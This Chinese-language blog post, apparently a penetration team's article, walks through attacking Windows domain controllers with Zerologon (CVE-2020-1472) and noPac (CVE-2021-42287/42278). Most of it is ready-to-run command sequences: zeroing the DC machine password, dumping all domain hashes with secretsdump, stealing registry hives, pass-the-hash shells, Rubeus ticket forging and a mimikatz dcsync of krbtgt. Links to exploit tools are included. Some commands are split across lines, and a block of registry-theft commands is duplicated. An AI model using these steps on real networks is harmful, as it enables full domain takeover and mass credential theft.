内网渗透之域控攻击

admin 2023年12月23日14:29:43评论30 views字数 6040阅读20分8秒阅读模式

 Part1 前言 

大家好,我是影流团队的WuWuWu。接内网渗透,本期分享内网中遇到域控如何进行下去。

 Part2 相关漏洞及利用 

0x01 CVE-2020-1472
概述:
2020年08月11日,Windows官方发布了 NetLogon 特权提升漏洞的风险通告,该漏洞编
号为CVE-2020-1472,漏洞等级:严重,漏洞评分:10分。
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2020-1472
https://www.secura.com/blog/zero-logon
影响范围:
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core
installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)
检测利用:
方法一:
#确认是否为域环境
ipconfig /all

#获取域控主机用户名
Nltest /dclist:
域名  

#检测是否存在漏洞
lsadump::zerologon /target:192.168.1.1 /account:
域控主机用户名  

#将域控主机用户密码置空
lsadump::zerologon /target:192.168.1.1 /account:域控主机用户名 /exploi
t  

#通过空值登录DC,获取所有域用户hash
python3 secretsdump.py -no-pass -just-dc
域名/域控主机用户名@192.168.1.1  

#用Administrator凭证进行hash注入获取cmd
privilege::debug
sekurlsa::pth /user:Administrator /domain:. /ntlm:administratorhash
  
方法二:

#确认是否为域环境
ipconfig /all

#获取域控主机用户名
Nltest /dclist:域名

#检测是否存在漏洞
python3 zerologon_tester.py 域控主机用户名 192.168.1.1

#将域控的主机账号哈希置为空
python3 cve-2020-1472-exploit.py  域控主机用户名 192.168.1.1  

#利用secretsdump导出hash
python3 secretsdump.py 域名/域控主机用户名@192.168.1.1 -no-pass

#PTH获取cmd
python3 wmiexec.py 域名/域控主机用户名@192.168.1.1 -hashes 域控主机hash
恢复域控机器户哈希
#pth拿到域控权限
python3 wmiexec.py 域名/域控主机用户名@192.168.1.1 -hashes 域控主机hash   
reg save HKLMSYSTEM system.save
reg save HKLMSAM sam.save
reg save HKLMSECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
reg save HKLMSYSTEM system.save
reg save HKLMSAM sam.save
reg save HKLMSECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save

#导出sam文件
del /f security.save  

#$MACHINE.ACC后⾯的就是原来的域控机器哈希
python3 secretsdump.py -sam sam.save -system system.save -security
security.save LOCAL

#恢复hash    
python3 restorepassword.py 域名/域控主机用户名  -target-ip 192.168.1.1 
-hexpass 域控机器哈希   

#测试是否恢复成功   
python3 secretsdump.py -no-pass -just-dc 域名/域控主机用户名@192.168.1.1 
工具下载
 https://github.com/SecureAuthCorp/impacke
 https://github.com/De4dCr0w/Vulnerability-analyze
 https://github.com/VoidSec/CVE-2020-1472
https://github.com/picussecurity/picuslabs/blob/master/
CVE-2020-1472%20Zerologon/zerologon_tester.zip
 https://github.com/risksense/zerologon
0x02 CVE-2021-42287&CVE-2021-42278
概述:
2021年11月9日,微软Windows Active Directory 域服务权限提升漏洞(漏洞编号CVE-2021-42287,CVE-2021-42278)利用poc和工具被公开,可允许攻击者将域内普通用户提升至管理员权限。该漏洞是由于Active Directory 域服务安全限制缺失,造成可绕过安全限制存在可利用的权限提升漏洞。
CVE-2021-42278
机器账户的名字应该以$结尾,即sAMAccountName属性,但ADCS没对机器账户名进行验证,导致存在绕过。配合CVE-2021-42287漏洞可以模拟域控制器机器账户,接管域控。该组合漏洞也可称作sAMAccountName spoofing
CVE-2021-42287

此时可利用普通域用户创建一个与DC机器账户名字相同的机器账户(不以$结尾)。利用该用户请求一个TGT后,更名账户。当kdc找不到TGT对应的账户名时,KDC会检索$结尾的机器用户,然后DC会使用自己的密钥加密TGs,提供一个属于该账户的PAC,然后就可获得具有域控权限的st。
影响范围:
CVE-2021-42287
Windows Server 2012 R2 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2022
Windows Server 2019 (Server Core installation)
Windows Server 2019

CVE-2021-42278:
Windows Server 2012 R2
Windows Server 2012 (Server Core installation)
Windows Server 2012
Windows Server 2008 R2 for x64-based Systems Service Pack 1(Server Core installation)
Windows Server 2008 R2 for x64-based Systems Service Pack 1
Windows Server 2008 for x64-based Systems Service Pack 2(Server Core installation)
Windows Server 2008 for x64-based Systems Service Pack 2
Windows Server 2008 for 32-bit Systems Service Pack 2(Server Core installation)
Windows Server 2008 for 32-bit Systems Service Pack 2
Windows Server 2016 (Server Core installation)
Windows Server 2016
Windows Server, version 20H2 (Server Core Installation)
Windows Server, version 2004 (Server Core installation)
Windows Server 2022 (Server Core installation)
Windows Server 2019 (Server Core installation)
Windows Server 2022
Windows Server 2019
Windows Server 2012 R2 (Server Core installation)
检测利用:
利用条件:
1.需要一个普通域用户 用户名密码
2.域用户可以创建机器用户
3.DC未打补丁KB5008380或KB5008602。
方法一:

使用漏洞利用工具 nopac.exe
#检测是否存在漏洞
noPac.exe scan -domain 域名 -user 域用户名 -pass 密码

# 获得域控cifs的权限
noPac.exe -domain 域名 -user 域用户名 -pass 密码  /dc DC机器名称 /mAccount
新建的机器名 /mPassword 新建的机器用户密码 /service cifs /ptt

#获得域控ladp的权限
noPac.exe -domain 域名 -user 域用户名 -pass 密码  /dc DC机器名称 /mAccount
新建的机器名 /mPassword 新建的机器用户密码 /service ladp /ptt

# 使用dcsync导出域内krbtgt密码
mimikatz.exe "lsadump::dcsync /domain:域名 /user:krbtgt /csv" "exit"
方法二:
使用powershell

# 域名:hahaha.org 新创建机器用户:wuwuwu 密码:123.Com 域机器名:huhuhu
# 使创建新机器用户
import-module .Powermad.ps1
$password = ConvertTo-SecureString '123.Com' -AsPlainText -Force
New-MachineAccount -MachineAccount "wuwuwu" -Password $($password) -Domain
"hahaha.org" -DomainController "huhuhu.hahaha.org" -Verbose

# 清除新创建的机器用户的SPN
Import-Module .powerview.ps1
Set-DomainObject "CN=wuwuwu,CN=Computers,DC=hahaha,DC=org" -Clear 'servicepr
incipalname' -Verbose

# 将新创建的机器用户名修改为域控机器名
Set-MachineAccountAttribute -MachineAccount "wuwuwu" -Value "huhuhu" -Attrib
ute samaccountname -Verbose

# 利用创建好的机器用户获取TGT
Rubeus.exe asktgt /user:"huhuhu" /password:"123.Com" /domain:"hahaha.org"
/dc:"huhuhu.hahaha.org" /nowrap

# 将机器用户名重置为原来的名字
Set-MachineAccountAttribute -MachineAccount "huhuhu" -Value "wuwuwu" -Att
ribute samaccountname -Verbose

# 使用获取的TGT通过S4U2self获取ST
Rubeus.exe s4u /self /impersonateuser:"administrator" /altservice:"ldap/h
uhuhu.hahaha.org" /dc:"huhuhu.hahaha.org" /ptt /ticket:[Base64 TGT]

# 使用dcsync导出域内krbtgt密码
mimikatz.exe "lsadump::dcsync /domain:hahaha.org /kdc:huhuhu.hahaha.org
/user:krbtgt" "exit"
工具下载
https://github.com/cube0x0/noPac
https://github.com/PowerShellMafia/PowerSploit
https://github.com/GhostPack/Rubeus

原文始发于微信公众号(影流R):内网渗透之域控攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月23日14:29:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   内网渗透之域控攻击https://cn-sec.com/archives/2331269.html

发表评论

匿名网友 填写信息